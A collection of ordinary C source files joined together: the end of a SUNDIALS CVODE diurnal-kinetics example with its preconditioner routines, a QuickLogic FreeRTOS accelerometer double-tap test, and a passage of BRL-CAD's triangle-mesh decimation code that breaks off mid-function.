retval = CVodeGetNumRhsEvals(cvode_mem, &nfe);
check_retval(&retval, "CVodeGetNumRhsEvals", 1);
retval = CVodeGetNumLinSolvSetups(cvode_mem, &nsetups);
check_retval(&retval, "CVodeGetNumLinSolvSetups", 1);
retval = CVodeGetNumErrTestFails(cvode_mem, &netf);
check_retval(&retval, "CVodeGetNumErrTestFails", 1);
retval = CVodeGetNumNonlinSolvIters(cvode_mem, &nni);
check_retval(&retval, "CVodeGetNumNonlinSolvIters", 1);
retval = CVodeGetNumNonlinSolvConvFails(cvode_mem, &ncfn);
check_retval(&retval, "CVodeGetNumNonlinSolvConvFails", 1);
retval = CVodeGetLinWorkSpace(cvode_mem, &lenrwLS, &leniwLS);
check_retval(&retval, "CVodeGetLinWorkSpace", 1);
retval = CVodeGetNumLinIters(cvode_mem, &nli);
check_retval(&retval, "CVodeGetNumLinIters", 1);
retval = CVodeGetNumPrecEvals(cvode_mem, &npe);
check_retval(&retval, "CVodeGetNumPrecEvals", 1);
retval = CVodeGetNumPrecSolves(cvode_mem, &nps);
check_retval(&retval, "CVodeGetNumPrecSolves", 1);
retval = CVodeGetNumLinConvFails(cvode_mem, &ncfl);
check_retval(&retval, "CVodeGetNumLinConvFails", 1);
retval = CVodeGetNumLinRhsEvals(cvode_mem, &nfeLS);
check_retval(&retval, "CVodeGetNumLinRhsEvals", 1);
printf("\nFinal Statistics.. \n\n");
printf("lenrw = %5ld leniw = %5ld\n" , lenrw, leniw);
printf("lenrwLS = %5ld leniwLS = %5ld\n" , lenrwLS, leniwLS);
printf("nst = %5ld\n" , nst);
printf("nfe = %5ld nfeLS = %5ld\n" , nfe, nfeLS);
printf("nni = %5ld nli = %5ld\n" , nni, nli);
printf("nsetups = %5ld netf = %5ld\n" , nsetups, netf);
printf("npe = %5ld nps = %5ld\n" , npe, nps);
printf("ncfn = %5ld ncfl = %5ld\n\n", ncfn, ncfl);
if (linsolver < 2)
printf("======================================================================\n\n");
}
/* Check function return value...
opt == 0 means SUNDIALS function allocates memory so check if
returned NULL pointer
opt == 1 means SUNDIALS function returns an integer value so check if
retval < 0
opt == 2 means function allocates memory so check if returned
NULL pointer */
static int check_retval(void *returnvalue, const char *funcname, int opt)
{
int *retval;
/* Check if SUNDIALS function returned NULL pointer - no memory allocated */
if (opt == 0 && returnvalue == NULL) {
fprintf(stderr, "\nSUNDIALS_ERROR: %s() failed - returned NULL pointer\n\n",
funcname);
return(1); }
/* Check if retval < 0 */
else if (opt == 1) {
retval = (int *) returnvalue;
if (*retval < 0) {
fprintf(stderr, "\nSUNDIALS_ERROR: %s() failed with retval = %d\n\n",
funcname, *retval);
return(1); }}
/* Check if function returned NULL pointer - no memory allocated */
else if (opt == 2 && returnvalue == NULL) {
fprintf(stderr, "\nMEMORY_ERROR: %s() failed - returned NULL pointer\n\n",
funcname);
return(1); }
return(0);
}
/*
*-------------------------------
* Functions called by the solver
*-------------------------------
*/
/* f routine. Compute RHS function f(t,u). */
static int f(realtype t, N_Vector u, N_Vector udot, void *user_data)
{
realtype q3, c1, c2, c1dn, c2dn, c1up, c2up, c1lt, c2lt;
realtype c1rt, c2rt, cydn, cyup, hord1, hord2, horad1, horad2;
realtype qq1, qq2, qq3, qq4, rkin1, rkin2, s, vertd1, vertd2, ydn, yup;
realtype q4coef, dely, verdco, hordco, horaco;
realtype *udata, *dudata;
int jx, jy, idn, iup, ileft, iright;
UserData data;
data = (UserData) user_data;
udata = N_VGetArrayPointer(u);
dudata = N_VGetArrayPointer(udot);
/* Set diurnal rate coefficients. */
s = sin(data->om*t);
if (s > ZERO) {
q3 = exp(-A3/s);
data->q4 = exp(-A4/s);
} else {
q3 = ZERO;
data->q4 = ZERO;
}
/* Make local copies of problem variables, for efficiency. */
q4coef = data->q4;
dely = data->dy;
verdco = data->vdco;
hordco = data->hdco;
horaco = data->haco;
/* Loop over all grid points. */
for (jy=0; jy < MY; jy++) {
/* Set vertical diffusion coefficients at jy +- 1/2 */
ydn = YMIN + (jy - RCONST(0.5))*dely;
yup = ydn + dely;
cydn = verdco*exp(RCONST(0.2)*ydn);
cyup = verdco*exp(RCONST(0.2)*yup);
idn = (jy == 0) ? 1 : -1;
iup = (jy == MY-1) ? -1 : 1;
for (jx=0; jx < MX; jx++) {
/* Extract c1 and c2, and set kinetic rate terms. */
c1 = IJKth(udata,1,jx,jy);
c2 = IJKth(udata,2,jx,jy);
qq1 = Q1*c1*C3;
qq2 = Q2*c1*c2;
qq3 = q3*C3;
qq4 = q4coef*c2;
rkin1 = -qq1 - qq2 + TWO*qq3 + qq4;
rkin2 = qq1 - qq2 - qq4;
/* Set vertical diffusion terms. */
c1dn = IJKth(udata,1,jx,jy+idn);
c2dn = IJKth(udata,2,jx,jy+idn);
c1up = IJKth(udata,1,jx,jy+iup);
c2up = IJKth(udata,2,jx,jy+iup);
vertd1 = cyup*(c1up - c1) - cydn*(c1 - c1dn);
vertd2 = cyup*(c2up - c2) - cydn*(c2 - c2dn);
/* Set horizontal diffusion and advection terms. */
ileft = (jx == 0) ? 1 : -1;
iright =(jx == MX-1) ? -1 : 1;
c1lt = IJKth(udata,1,jx+ileft,jy);
c2lt = IJKth(udata,2,jx+ileft,jy);
c1rt = IJKth(udata,1,jx+iright,jy);
c2rt = IJKth(udata,2,jx+iright,jy);
hord1 = hordco*(c1rt - TWO*c1 + c1lt);
hord2 = hordco*(c2rt - TWO*c2 + c2lt);
horad1 = horaco*(c1rt - c1lt);
horad2 = horaco*(c2rt - c2lt);
/* Load all terms into udot. */
IJKth(dudata, 1, jx, jy) = vertd1 + hord1 + horad1 + rkin1;
IJKth(dudata, 2, jx, jy) = vertd2 + hord2 + horad2 + rkin2;
}
}
return(0);
}
/* Preconditioner setup routine. Generate and preprocess P. */
static int Precond(realtype tn, N_Vector u, N_Vector fu, booleantype jok,
booleantype *jcurPtr, realtype gamma, void *user_data)
{
realtype c1, c2, cydn, cyup, diag, ydn, yup, q4coef, dely, verdco, hordco;
realtype **(*P)[MY], **(*Jbd)[MY];
sunindextype *(*pivot)[MY], retval;
int jx, jy;
realtype *udata, **a, **j;
UserData data;
/* Make local copies of pointers in user_data, and of pointer to u's data */
data = (UserData) user_data;
P = data->P;
Jbd = data->Jbd;
pivot = data->pivot;
udata = N_VGetArrayPointer(u);
if (jok) {
/* jok = SUNTRUE: Copy Jbd to P */
for (jy=0; jy < MY; jy++)
for (jx=0; jx < MX; jx++)
denseCopy(Jbd[jx][jy], P[jx][jy], NUM_SPECIES, NUM_SPECIES);
*jcurPtr = SUNFALSE;
}
else {
/* jok = SUNFALSE: Generate Jbd from scratch and copy to P */
/* Make local copies of problem variables, for efficiency. */
q4coef = data->q4;
dely = data->dy;
verdco = data->vdco;
hordco = data->hdco;
/* Compute 2x2 diagonal Jacobian blocks (using q4 values
computed on the last f call). Load into P. */
for (jy=0; jy < MY; jy++) {
ydn = YMIN + (jy - RCONST(0.5))*dely;
yup = ydn + dely;
cydn = verdco*exp(RCONST(0.2)*ydn);
cyup = verdco*exp(RCONST(0.2)*yup);
diag = -(cydn + cyup + TWO*hordco);
for (jx=0; jx < MX; jx++) {
c1 = IJKth(udata,1,jx,jy);
c2 = IJKth(udata,2,jx,jy);
j = Jbd[jx][jy];
a = P[jx][jy];
IJth(j,1,1) = (-Q1*C3 - Q2*c2) + diag;
IJth(j,1,2) = -Q2*c1 + q4coef;
IJth(j,2,1) = Q1*C3 - Q2*c2;
IJth(j,2,2) = (-Q2*c1 - q4coef) + diag;
denseCopy(j, a, NUM_SPECIES, NUM_SPECIES);
}
}
*jcurPtr = SUNTRUE;
}
/* Scale by -gamma */
for (jy=0; jy < MY; jy++)
for (jx=0; jx < MX; jx++)
denseScale(-gamma, P[jx][jy], NUM_SPECIES, NUM_SPECIES);
/* Add identity matrix and do LU decompositions on blocks in place. */
for (jx=0; jx < MX; jx++) {
for (jy=0; jy < MY; jy++) {
denseAddIdentity(P[jx][jy], NUM_SPECIES);
retval =denseGETRF(P[jx][jy], NUM_SPECIES, NUM_SPECIES, pivot[jx][jy]);
if (retval != 0) return(1);
}
}
return(0);
}
/* Preconditioner solve routine */
static int PSolve(realtype tn, N_Vector u, N_Vector fu,
N_Vector r, N_Vector z,
realtype gamma, realtype delta,
int lr, void *user_data)
{
realtype **(*P)[MY];
sunindextype *(*pivot)[MY];
int jx, jy;
realtype *zdata, *v;
UserData data;
/* Extract the P and pivot arrays from user_data. */
data = (UserData) user_data;
P = data->P;
pivot = data->pivot;
zdata = N_VGetArrayPointer(z);
N_VScale(ONE, r, z);
/* Solve the block-diagonal system Px = r using LU factors stored
in P and pivot data in pivot, and return the solution in z. */
for (jx=0; jx < MX; jx++) {
for (jy=0; jy < MY; jy++) {
v = &(IJKth(zdata, 1, jx, jy));
denseGETRS(P[jx][jy], NUM_SPECIES, pivot[jx][jy], v);
}
}
return(0);
}
|
334890.c | /*==========================================================
* Copyright 2020 QuickLogic Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*==========================================================*/
/*==========================================================
*
* File : M4_Accel_test.c
* Purpose:
*
*=========================================================*/
#include "Fw_global_config.h"
#include "QL_Trace.h"
#include "QL_SAL.h"
#include "QL_SensorIoctl.h"
#include "QL_SDF_Accel.h"
#include "FreeRTOS.h"
#include "timers.h"
#include <SenseMe_wrapper.h>
#include "DoubleTapLib.h"
#ifdef PURE_M4_DRIVERS
QL_SAL_SensorHandle_t AccelAppSensorHandle;
Accel_data Adata;
TimerHandle_t xATimer=NULL;
static QL_Status TestSensorEventCallback(void *cookie, struct QL_SensorEventInfo *event_info);
void vAccelTimerCB( TimerHandle_t xATimer ) {
float accel[3]={0};
double ScaleFactor;
static int TapCount=0;
QL_Status ret;
ret = QL_SAL_SensorRead(AccelAppSensorHandle, &Adata,6);
QL_ASSERT(ret == QL_STATUS_OK);
//printf("Accel data read X=%hu,Y=%hu,Z=%hu\n",Adata.dataX, Adata.dataY, Adata.dataZ);
ScaleFactor = Get_Accel_Scale_Factor();
accel[0] = Adata.dataX * ScaleFactor;
accel[1] = Adata.dataY * ScaleFactor;
accel[2] = Adata.dataZ * ScaleFactor;
//printf("Accel data scaled X=%f,Y=%f,Z=%f\n",accel[0], accel[1], accel[2]);
#if !defined(DT_ALGO_ON_FFE) && !defined(PCG_AND_DT_ON_FFE)
if (CheckDoubleTap_400(accel))
{
printf("Double Tap Detected (Algo in M4)\n");
TapCount++;
if(TapCount >= 5) {
xTimerChangePeriod(xATimer,pdMS_TO_TICKS(1000),pdMS_TO_TICKS(100));
TapCount = 0;
}
}
#endif /* !defined(DT_ALGO_ON_FFE) && !defined(PCG_AND_DT_ON_FFE) */
}
void vOpenM4Accel(void){
QL_Status ret;
struct QL_SF_Ioctl_Req_Events event,tempEvent;
unsigned int sensorDynamicRange = 2; // 0 maps to +-2G, 1 maps to +-4G, 2 maps to +-8G, 3 maps to +-16G
unsigned int sensorODR = 25;
unsigned int sensorAxisDirection = 0,temp;
unsigned int batch = 400;
ret = QL_SAL_SensorOpen(&AccelAppSensorHandle,QL_SAL_SENSOR_ID_DOUBLE_TAP);
QL_ASSERT(ret == QL_STATUS_OK);
printf("QL_SAL_SensorOpen OK.\n");
event.cookie = (void*) 0xBAD;
event.event_callback = TestSensorEventCallback;
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_SET_CALLBACK, (void*)&event);
QL_ASSERT(ret == QL_STATUS_OK);
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_GET_CALLBACK, &tempEvent);
QL_ASSERT(ret == QL_STATUS_OK);
printf("QL_SAL_IOCTL_GET_CALLBACK: 0x%x, %x\n",tempEvent.event_callback, tempEvent.cookie);
printf("CallBack Function Address: 0x%x\n",TestSensorEventCallback);
printf("\n\n");
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_SET_DYNAMIC_RANGE, (void*)&sensorDynamicRange);
QL_ASSERT(ret == QL_STATUS_OK);
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_GET_DYNAMIC_RANGE, &temp);
QL_ASSERT(ret == QL_STATUS_OK);
printf("QL_SAL_IOCTL_GET_DYNAMIC_RANGE 0x%x\n",temp);
printf("\n\n");
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_SET_ODR, (void*)&sensorODR);
QL_ASSERT(ret == QL_STATUS_OK);
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_GET_ODR, &temp);
QL_ASSERT(ret == QL_STATUS_OK);
printf("QL_SAL_IOCTL_GET_ODR 0x%x\n",temp);
printf("\n\n");
#if 0
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_SET_AXIS_DIRECTION, (void*)&sensorAxisDirection);
QL_ASSERT(ret == QL_STATUS_OK);
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_GET_AXIS_DIRECTION, &temp);
QL_ASSERT(ret == QL_STATUS_OK);
printf("QL_SAL_IOCTL_GET_AXIS_DIRECTION 0x%x\n",temp);
#endif
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_SET_BATCH, (void*)&batch);
QL_ASSERT(ret == QL_STATUS_OK);
ret = QL_SAL_SensorIoctl(AccelAppSensorHandle, QL_SAL_IOCTL_GET_BATCH, &temp);
QL_ASSERT(ret == QL_STATUS_OK);
printf("QL_SAL_IOCTL_GET_BATCH 0x%x\n",temp);
printf("\n\n");
//xTimerChangePeriod(xATimer,pdMS_TO_TICKS(2),portMAX_DELAY);
printf("\n\n");
}
void vCloseM4Accel(void)
{
QL_Status ret;
ret = QL_SAL_SensorClose(AccelAppSensorHandle);
QL_ASSERT(ret == QL_STATUS_OK);
}
static QL_Status TestSensorEventCallback(void *cookie, struct QL_SensorEventInfo *event_info){
QL_TRACE_TEST_DEBUG("+\n");
QL_ASSERT(event_info);
QL_ASSERT(event_info->numpkt);
QL_ASSERT(event_info->data);
Accel_data* pdata;
printf("\n\n");
printf("cookie = %x, event_info->event = %x, "
"event_info->data = %x, event_info->numpkt = %x\n",
(int) cookie, event_info->event, event_info->data,
event_info->numpkt);
pdata = (Accel_data *) event_info->data;
if (QL_SENSOR_EVENT_BATCH == event_info->event )
{
for(int i=0;i< event_info->numpkt;i++){
printf("Accel data read X=%hd,Y=%hd,Z=%hd\n",pdata->dataX, pdata->dataY, pdata->dataZ);
pdata++;
}
}
}
void Accel_test(int cmd) {
if(xATimer == NULL) {
xATimer = xTimerCreate("Accel_Timer", pdMS_TO_TICKS(2),pdTRUE, (void*)0,(TimerCallbackFunction_t)vAccelTimerCB);
if(xATimer == NULL) {
printf("Error in creating the Timer");
return;
}
}
switch(cmd) {
case 0:
xTimerStop(xATimer,portMAX_DELAY);
vCloseM4Accel();
break;
case 1:
vOpenM4Accel();
//xTimerStart(xATimer,portMAX_DELAY);
break;
}
}
#endif // PURE_M4_DRIVERS
|
612403.c | /* D E C I M A T E . C
* BRL-CAD
*
* Copyright (c) 1999-2021 United States Government as represented by
* the U.S. Army Research Laboratory.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public License
* version 2.1 as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this file; see the file named COPYING for more
* information.
*/
/** @addtogroup primitives */
/** @{ */
/** @file primitives/bot/decimate.c
*
* Reduce the number of triangles in a BoT mesh
*
*/
#include "common.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <ctype.h>
#include "bu.h"
#include "rt/geom.h"
#include "rt/primitives/bot.h"
#if !defined(BRLCAD_DISABLE_GCT)
# include "./gct_decimation/meshdecimation.h"
#endif
#include "./bot_edge.h"
/* for simplicity, only consider vertices that are shared with less
* than MAX_AFFECTED_FACES when decimating using the non gct method.
*/
#define MAX_AFFECTED_FACES 128
HIDDEN void
delete_edge(int v1, int v2, struct bot_edge **edges)
{
struct bot_edge *edg, *prev=NULL;
if (v1 < v2) {
edg = edges[v1];
while (edg) {
if (edg->v == v2) {
edg->use_count--;
if (edg->use_count < 1) {
if (prev) {
prev->next = edg->next;
} else {
edges[v1] = edg->next;
}
edg->v = -1;
edg->next = NULL;
bu_free(edg, "bot_edge");
return;
}
}
prev = edg;
edg = edg->next;
}
} else {
edg = edges[v2];
while (edg) {
if (edg->v == v1) {
edg->use_count--;
if (edg->use_count < 1) {
if (prev) {
prev->next = edg->next;
} else {
edges[v2] = edg->next;
}
edg->v = -1;
edg->next = NULL;
bu_free(edg, "bot_edge");
return;
}
}
prev = edg;
edg = edg->next;
}
}
}
/**
* Routine to perform the actual edge decimation step The edge from v1
* to v2 is eliminated by moving v1 to v2. Faces that used this edge
* are eliminated. Faces that used v1 will have that reference
* changed to v2.
*/
HIDDEN int
decimate_edge(int v1, int v2, struct bot_edge **edges, size_t num_edges, int *faces, size_t num_faces, int face_del1, int face_del2)
{
size_t i;
struct bot_edge *edg;
/* first eliminate all the edges of the two deleted faces from the edge list */
delete_edge(faces[face_del1 * 3 + 0], faces[face_del1 * 3 + 1], edges);
delete_edge(faces[face_del1 * 3 + 1], faces[face_del1 * 3 + 2], edges);
delete_edge(faces[face_del1 * 3 + 2], faces[face_del1 * 3 + 0], edges);
delete_edge(faces[face_del2 * 3 + 0], faces[face_del2 * 3 + 1], edges);
delete_edge(faces[face_del2 * 3 + 1], faces[face_del2 * 3 + 2], edges);
delete_edge(faces[face_del2 * 3 + 2], faces[face_del2 * 3 + 0], edges);
/* do the decimation */
for (i = 0; i < 3; i++) {
faces[face_del1*3 + i] = -1;
faces[face_del2*3 + i] = -1;
}
for (i = 0; i < num_faces * 3; i++) {
if (faces[i] == v1) {
faces[i] = v2;
}
}
/* update the edge list; now move all the remaining edges at
* edges[v1] to somewhere else.
*/
edg = edges[v1];
while (edg) {
struct bot_edge *ptr;
struct bot_edge *next;
next = edg->next;
if (edg->v < v2) {
ptr = edges[edg->v];
while (ptr) {
if (ptr->v == v2) {
ptr->use_count++;
edg->v = -1;
edg->next = NULL;
bu_free(edg, "bot edge");
break;
}
ptr = ptr->next;
}
if (!ptr) {
edg->next = edges[edg->v];
edges[edg->v] = edg;
edg->v = v2;
}
} else if (edg->v > v2) {
ptr = edges[v2];
while (ptr) {
if (ptr->v == edg->v) {
ptr->use_count++;
edg->v = -1;
edg->next = NULL;
bu_free(edg, "bot edge");
break;
}
ptr = ptr->next;
}
if (!ptr) {
edg->next = edges[v2];
edges[v2] = edg;
}
} else {
edg->v = -1;
edg->next = NULL;
bu_free(edg, "bot edge");
}
edg = next;
}
edges[v1] = NULL;
/* now change all remaining v1 references to v2 */
for (i = 0; i < num_edges; i++) {
struct bot_edge *next, *prev, *ptr;
prev = NULL;
edg = edges[i];
/* look at edges starting from vertex #i */
while (edg) {
next = edg->next;
if (edg->v == v1) {
/* this one is affected */
edg->v = v2; /* change v1 to v2 */
if ((size_t)v2 < i) {
/* disconnect this edge from list #i */
if (prev) {
prev->next = next;
} else {
edges[i] = next;
}
/* this edge must move to the "v2" list */
ptr = edges[v2];
while (ptr) {
if ((size_t)ptr->v == i) {
/* found another occurrence of this edge
* increment use count
*/
ptr->use_count++;
/* delete the original */
edg->v = -1;
edg->next = NULL;
bu_free(edg, "bot edge");
break;
}
ptr = ptr->next;
}
if (!ptr) {
/* did not find another occurrence, add to list */
edg->next = edges[v2];
edges[v2] = edg;
}
edg = next;
} else if ((size_t)v2 > i) {
/* look for other occurrences of this edge in this
* list if found, just increment use count
*/
ptr = edges[i];
while (ptr) {
if (ptr->v == v2 && ptr != edg) {
/* found another occurrence */
/* increment use count */
ptr->use_count++;
/* disconnect original from list */
if (prev) {
prev->next = next;
} else {
edges[i] = next;
}
/* free it */
edg->v = -1;
edg->next = NULL;
bu_free(edg, "bot edge");
break;
}
ptr = ptr->next;
}
if (!ptr) {
prev = edg;
}
edg = next;
} else {
/* disconnect original from list */
if (prev) {
prev->next = next;
} else {
edges[i] = next;
}
/* free it */
edg->v = -1;
edg->next = NULL;
bu_free(edg, "bot edge");
}
} else {
/* unaffected edge, just continue */
edg = next;
}
}
}
return 2;
}
/**
* Routine to determine if the specified edge can be eliminated within
* the given constraints:
*
* "faces" is the current working version of the BOT face list.
*
* "v1" and "v2" are the indices into the BOT vertex list, they define
* the edge.
*
* "max_chord_error" is the maximum distance allowed between the old
* surface and new.
*
* "max_normal_error" is actually the minimum dot product allowed
* between old and new surface normals (cosine).
*
* "min_edge_length_sq" is the square of the minimum allowed edge
* length.
*
* any constraint value of -1.0 means ignore this constraint
*
* returns 1 if edge can be eliminated without breaking constraints, 0
* otherwise.
*/
HIDDEN int
edge_can_be_decimated(struct rt_bot_internal *bot,
int *faces,
struct bot_edge **edges,
int v1,
int v2,
int *face_del1,
int *face_del2,
fastf_t max_chord_error,
fastf_t max_normal_error,
fastf_t min_edge_length_sq)
{
size_t i, j, k;
size_t num_faces = bot->num_faces;
size_t num_edges = bot->num_vertices;
size_t count, v1_count;
size_t affected_count = 0;
vect_t v01, v02, v12;
fastf_t *vertices = bot->vertices;
size_t faces_affected[MAX_AFFECTED_FACES];
if (v1 == -1 || v2 == -1) {
return 0;
}
/* find faces to be deleted or affected */
*face_del1 = -1;
*face_del2 = -1;
for (i = 0; i < num_faces*3; i += 3) {
count = 0;
v1_count = 0;
for (j = 0; j < 3; j++) {
k = i + j;
if (faces[k] == v1) {
/* found a reference to v1, count it */
count++;
v1_count++;
} else if (faces[k] == v2) {
/* found a reference to v2, count it */
count++;
}
}
if (count > 1) {
/* this face will get deleted */
if (*face_del1 != -1) {
*face_del2 = i/3;
} else {
*face_del1 = i/3;
}
} else if (v1_count) {
/* this face will be affected */
faces_affected[affected_count] = i;
affected_count++;
if (affected_count >= MAX_AFFECTED_FACES) {
return 0;
}
}
}
/* if only one face will be deleted, do not decimate this may be a
* free edge
*/
if (*face_del2 == -1) {
return 0;
}
/* another easy test to avoid moving free edges */
if (affected_count < 1) {
return 0;
}
/* for BOTs that are expected to have free edges, do a rigorous
* check for free edges
*/
if (bot->mode == RT_BOT_PLATE || bot->mode == RT_BOT_SURFACE) {
struct bot_edge *edg;
/* check if vertex v1 is on a free edge */
for (i = 0; i < num_edges; i++) {
edg = edges[i];
while (edg) {
if ((i == (size_t)v1 || edg->v == v1) && edg->use_count < 2) {
return 0;
}
edg = edg->next;
}
}
}
/* calculate edge vector */
VSUB2(v12, &vertices[v1*3], &vertices[v2*3]);
if (min_edge_length_sq > SMALL_FASTF) {
if (MAGSQ(v12) > min_edge_length_sq) {
return 0;
}
}
if (max_chord_error + 1.0 > -SMALL_FASTF || max_normal_error + 1.0 > -SMALL_FASTF) {
/* check if surface is within max_chord_error of vertex to be
* eliminated; loop through all affected faces.
*/
for (i = 0; i < affected_count; i++) {
fastf_t dist;
fastf_t dot;
plane_t pla, plb;
int va, vb, vc;
/* calculate plane of this face before and after
* adjustment if the normal changes too much, do not
* decimate
*/
/* first calculate original face normal (use original BOT
* face list)
*/
va = bot->faces[faces_affected[i]];
vb = bot->faces[faces_affected[i]+1];
vc = bot->faces[faces_affected[i]+2];
VSUB2(v01, &vertices[vb*3], &vertices[va*3]);
VSUB2(v02, &vertices[vc*3], &vertices[va*3]);
VCROSS(plb, v01, v02);
VUNITIZE(plb);
plb[W] = VDOT(&vertices[va*3], plb);
/* do the same using the working face list */
va = faces[faces_affected[i]];
vb = faces[faces_affected[i]+1];
vc = faces[faces_affected[i]+2];
/* make the proposed decimation changes */
if (va == v1) {
va = v2;
} else if (vb == v1) {
vb = v2;
} else if (vc == v1) {
vc = v2;
}
VSUB2(v01, &vertices[vb*3], &vertices[va*3]);
VSUB2(v02, &vertices[vc*3], &vertices[va*3]);
VCROSS(pla, v01, v02);
VUNITIZE(pla);
pla[W] = VDOT(&vertices[va*3], pla);
/* max_normal_error is actually a minimum dot product */
dot = VDOT(pla, plb);
if (max_normal_error + 1.0 > -SMALL_FASTF && dot < max_normal_error) {
return 0;
}
/* check the distance between this new plane and vertex
* v1
*/
dist = fabs(DIST_PNT_PLANE(&vertices[v1*3], pla));
if (max_chord_error + 1.0 > -SMALL_FASTF && dist > max_chord_error) {
return 0;
}
}
}
return 1;
}
/**
* decimate a BOT using the new GCT decimator.
* `feature_size` is the smallest feature size to keep undecimated.
* returns the number of edges removed.
*/
size_t
#if defined(BRLCAD_DISABLE_GCT)
rt_bot_decimate_gct(struct rt_bot_internal *UNUSED(bot), fastf_t UNUSED(feature_size)) {
bu_log("GCT decimation currently disabled - can not decimate.");
return 0;
#else
rt_bot_decimate_gct(struct rt_bot_internal *bot, fastf_t feature_size) {
RT_BOT_CK_MAGIC(bot);
if (feature_size < 0.0)
bu_bomb("invalid feature_size");
mdOperation mdop;
mdOperationInit(&mdop);
mdOperationData(&mdop, bot->num_vertices, bot->vertices,
sizeof(bot->vertices[0]), 3 * sizeof(bot->vertices[0]), bot->num_faces,
bot->faces, sizeof(bot->faces[0]), 3 * sizeof(bot->faces[0]));
mdOperationStrength(&mdop, feature_size);
mdOperationAddAttrib(&mdop, bot->face_normals, sizeof(bot->face_normals[0]), 3,
3 * sizeof(bot->face_normals[0]), MD_ATTRIB_FLAGS_COMPUTE_NORMALS);
mdMeshDecimation(&mdop, MD_FLAGS_NORMAL_VERTEX_SPLITTING | MD_FLAGS_TRIANGLE_WINDING_CCW);
bot->num_vertices = mdop.vertexcount;
bot->num_faces = mdop.tricount;
moOptimizeMesh(bot->num_vertices, bot->num_faces,
bot->faces, sizeof(bot->faces[0]),
3 * sizeof(bot->faces[0]), 0, 0, 32, 0);
return mdop.decimationcount;
#endif
}
/**
* routine to reduce the number of triangles in a BOT by edges
* decimation.
*
* max_chord_error is the maximum error distance allowed
* max_normal_error is the maximum change in surface normal allowed
*
* This and associated routines maintain a list of edges and their
* "use counts" A "free edge" is one with a use count of 1, most edges
* have a use count of 2 When a use count reaches zero, the edge is
* removed from the list. The list is used to direct the edge
* decimation process and to avoid deforming the shape of a non-volume
* enclosing BOT by keeping track of use counts (and thereby free
* edges) If a free edge would be moved, that decimation is not
* performed.
*/
int
rt_bot_decimate(struct rt_bot_internal *bot, /* BOT to be decimated */
fastf_t max_chord_error, /* maximum allowable chord error (mm) */
fastf_t max_normal_error, /* maximum allowable normal error (degrees) */
fastf_t min_edge_length) /* minimum allowed edge length */
{
int *faces = NULL;
struct bot_edge **edges = NULL;
fastf_t min_edge_length_sq = 0.0;
size_t edges_deleted = 0;
size_t edge_count = 0;
size_t face_count = 0;
size_t actual_count = 0;
size_t deleted = 0;
size_t i = 0;
int done;
RT_BOT_CK_MAGIC(bot);
/* convert normal error to something useful (a minimum dot product) */
if (max_normal_error + 1.0 > -SMALL_FASTF) {
max_normal_error = cos(max_normal_error * DEG2RAD);
}
if (min_edge_length > SMALL_FASTF) {
min_edge_length_sq = min_edge_length * min_edge_length;
} else {
min_edge_length_sq = min_edge_length;
}
/* make a working copy of the face list */
faces = (int *)bu_malloc(sizeof(int) * bot->num_faces * 3, "faces");
for (i = 0; i < bot->num_faces * 3; i++) {
faces[i] = bot->faces[i];
}
face_count = bot->num_faces;
/* make a list of edges in the BOT; each edge will be in the list
* for its lower numbered vertex index
*/
edge_count = bot_edge_table(bot, &edges);
/* the decimation loop */
done = 0;
while (!done) {
done = 1;
/* visit each edge */
for (i = 0; i < bot->num_vertices; i++) {
struct bot_edge *ptr;
int face_del1, face_del2;
ptr = edges[i];
while (ptr) {
/* try to avoid making 2D objects */
if (face_count < 5)
break;
/* check if this edge can be eliminated (try both directions) */
if (edge_can_be_decimated(bot, faces, edges, i, ptr->v,
&face_del1, &face_del2,
max_chord_error,
max_normal_error,
min_edge_length_sq)) {
face_count -= decimate_edge(i, ptr->v, edges, bot->num_vertices,
faces, bot->num_faces,
face_del1, face_del2);
edges_deleted++;
done = 0;
break;
} else if (edge_can_be_decimated(bot, faces, edges, ptr->v, i,
&face_del1, &face_del2,
max_chord_error,
max_normal_error,
min_edge_length_sq)) {
face_count -= decimate_edge(ptr->v, i, edges, bot->num_vertices,
faces, bot->num_faces,
face_del1, face_del2);
edges_deleted++;
done = 0;
break;
} else {
ptr = ptr->next;
}
}
}
}
/* free some memory */
for (i = 0; i < bot->num_vertices; i++) {
struct bot_edge *ptr, *ptr2;
ptr = edges[i];
while (ptr) {
ptr2 = ptr;
ptr = ptr->next;
bu_free(ptr2, "ptr->edges");
}
}
bu_free(edges, "edges");
edges = NULL;
/* condense the face list */
actual_count = 0;
deleted = 0;
for (i = 0; i < bot->num_faces * 3; i++) {
if (faces[i] == -1) {
deleted++;
continue;
}
if (deleted) {
faces[i-deleted] = faces[i];
}
actual_count++;
}
if (actual_count % 3) {
bu_log("rt_bot_decimate: face vertices count is not a multiple of 3!!\n");
bu_free(faces, "faces");
return -1;
}
bu_log("original face count = %zu, edge count = %zu\n", bot->num_faces, edge_count);
bu_log("\tedges deleted = %zu\n", edges_deleted);
bu_log("\tnew face_count = %zu\n", face_count);
actual_count /= 3;
if (face_count != actual_count) {
bu_log("rt_bot_decimate: Face count is confused!!\n");
bu_free(faces, "faces");
return -2;
}
